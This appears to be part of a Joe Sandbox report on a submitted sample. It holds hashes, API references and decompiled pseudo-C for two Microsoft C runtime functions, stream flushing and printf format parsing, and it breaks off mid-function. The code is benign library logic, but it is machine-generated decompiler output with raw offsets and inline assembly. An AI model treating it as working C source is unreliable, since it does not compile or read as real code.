Opcode Fuzzy Hash: 859f4e9f9a3d13a185a9e4cfb18a18e2366b49a6882b1e59deb5451dc148fb5f
Instruction Fuzzy Hash: FC51C975A14208EFDB14CF94C495A6DFBB1FF89324F14C2E8E4496B355DA31EA81CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B90561 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00B90561() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00B87870( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L00B7D760();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0xd11c48;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0xd13040 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00B91100(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00B87870( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00B7D1A0() + 0x20 ||  *(_t190 - 8) == E00B7D1A0() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00B90410(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00B94510(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00b90599
0x00b905e3
0x00b905ef
0x00b905fe
0x00b90604
0x00b9060b
0x00b90612
0x00b90615
0x00b90623
0x00b9065b
0x00b90667
0x00b90766
0x00b90781
0x00b90784
0x00b9078a
0x00b907a3
0x00b9078c
0x00b90792
0x00b90798
0x00b9079b
0x00b9079b
0x00000000
0x00b9078a
0x00b90678
0x00b9067a
0x00b9067f
0x00b90681
0x00b90686
0x00b9068b
0x00b9068d
0x00b90692
0x00b90698
0x00b9069a
0x00b9069a
0x00b90698
0x00b906a6
0x00b906b5
0x00b906c3
0x00b906ca
0x00b906ec
0x00b9070f
0x00b906f4
0x00b9070a
0x00b9070a
0x00b90719
0x00b9071d
0x00b90720
0x00000000
0x00b90722
0x00b90728
0x00b90734
0x00b90737
0x00b90743
0x00000000
0x00000000
0x00b9074e
0x00b90751
0x00b90754
0x00000000
0x00b90754
0x00b906cc
0x00b906e3
0x00b90759
0x00b90762
0x00000000
0x00b90762
0x00b906ca
0x00b90630
0x00b9063f
0x00b90643
0x00b90648
0x00b9064d
0x00000000
0x00000000
0x00000000
0x00b9064f
0x00b9064f
0x00b90653
0x00b90658
0x00000000
0x00b90658
0x00b9059b
0x00b9059e
0x00b905ae
0x00b905cc
0x00b905d8
0x00b905db
0x00b907a8
0x00b907ab
0x00b907ab
0x00b905b9
0x00b905c7
0x00000000
0x00b905c7

APIs

__isatty.LIBCMTD ref: 00B90643
__getbuf.LIBCMTD ref: 00B90653
__write.LIBCMTD ref: 00B906DB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00B90686
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00B9067A

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 5aa59805a87d320bf9b9421a6b6bcbf38eb2f4ddac57715c658ce91bb7c1fb91
Instruction ID: 6b4c5239b5f07f3a9699a4ad2455028b89526d7b45190f079b9c26e772cc5d2d
Opcode Fuzzy Hash: 5aa59805a87d320bf9b9421a6b6bcbf38eb2f4ddac57715c658ce91bb7c1fb91
Instruction Fuzzy Hash: 9B51C779A10208AFDB44DF94C491AADBBB1EF88324F15C2D8D4596B395D731EA81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00B95704 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00B95704() {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00B95E80(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00B95EC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E00B95E80(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00B95EC0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00B97890(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00B95EC0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E00B95E80(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L00B7EB20( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00B77B58) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0xb77b78) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0xb77b78) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00B95CD0))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00B91090( *(_t557 - 0x251) & 0x000000ff, E00B7C680(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00B95DE0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00B95DE0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L00B7D760();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00B80C60(_t541))) = 0x16;
																			E00B809F0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E00B7C650(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0xb95d08; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00B95CF0))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0xb95d30; // 0x553e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M00B95D1C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
